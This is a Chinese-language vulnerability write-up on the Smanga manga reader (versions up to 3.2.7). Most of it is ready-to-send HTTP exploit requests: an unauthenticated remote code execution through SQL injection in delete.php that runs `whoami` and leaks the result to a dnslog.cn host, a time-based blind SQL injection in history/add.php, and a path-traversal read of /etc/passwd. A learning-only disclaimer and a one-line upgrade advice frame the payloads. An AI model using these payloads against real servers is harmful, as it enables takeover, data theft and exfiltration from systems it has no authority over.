文章目录
- 前言
- 声明
- 一、产品简介
- 一、漏洞描述
- 二、漏洞等级
- 三、影响范围
- 四、漏洞复现
- 五、修复建议
- 六、附加漏洞
- 漏洞一、SQL注入
- 漏洞二、任意文件读取
前言
Smanga存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、产品简介
无需配置,docker直装的漫画流媒体阅读工具。以emby plex为灵感,为解决漫画阅读需求而开发的漫画阅读器。在windows环境部署smanga安装环境面板,首先安装小皮面板,下载smanga项目,导入数据库,登录smanga,windows部署smanga。
一、漏洞描述
/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
二、漏洞等级
- 高危
三、影响范围
- Smanga ≤ V3.2.7
四、漏洞复现
环境搭建可参考链接: https://www.bilibili.com/read/cv21910784/
系统界面如下
EXP:
POST /php/manga/delete.php HTTP/1.1
Host: XX.XX.XX.XX:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
If-None-Match: "63ff3602-c6d"
If-Modified-Since: Wed, 01 Mar 2023 11:24:50 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360
mangaId=1+union+select+*+from+%28select+1%29a+join+%28select+2%29b+join+%28select+3%29c+join+%28select+4%29d+join+%28select+%27%5C%22%3Bping+-c+3+%60whoami%60.zm16pf.dnslog.cn%3B%5C%22%27%29e+join+%28select+6%29f+join+%28select+7%29g+join+%28select+8%29h+join+%28select+9%29i+join+%28select+10%29j+join+%28select+11%29k+join+%28select+12%29l%3B&deleteFile=true
五、修复建议
官方已经发布修复补丁,请进行升级。
六、附加漏洞
漏洞一、SQL注入
漏洞描述
/php/history/add.php
存在SQL注入漏洞,可获取敏感信息。
影响版本
- smanga ≤ V3.2.7
漏洞利用
POC:
POST /php/history/add.php HTTP/1.1
Host: XX.XX.XX.XX:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: thinkphp_show_page_trace=0|0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
chapterCover=1&chapterId=1&chapterName=1&chatpterPath=1&chaptertype=image&keyword=1&mangaCover=undefined&mangaId=1&mangaName=&mediaId=if(now()=sysdate()%2Csleep(5)%2C0)×tamp=12123123&userId=1
漏洞二、任意文件读取
漏洞描述
/php/get-file-flow.php
接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。
影响版本
- smanga ≤ V3.2.7
漏洞利用
POC:
POST /php/get-file-flow.php HTTP/1.1
Host: XX.XX.XX.XX:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: thinkphp_show_page_trace=0|0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
file=../../../../../../../../etc/passwd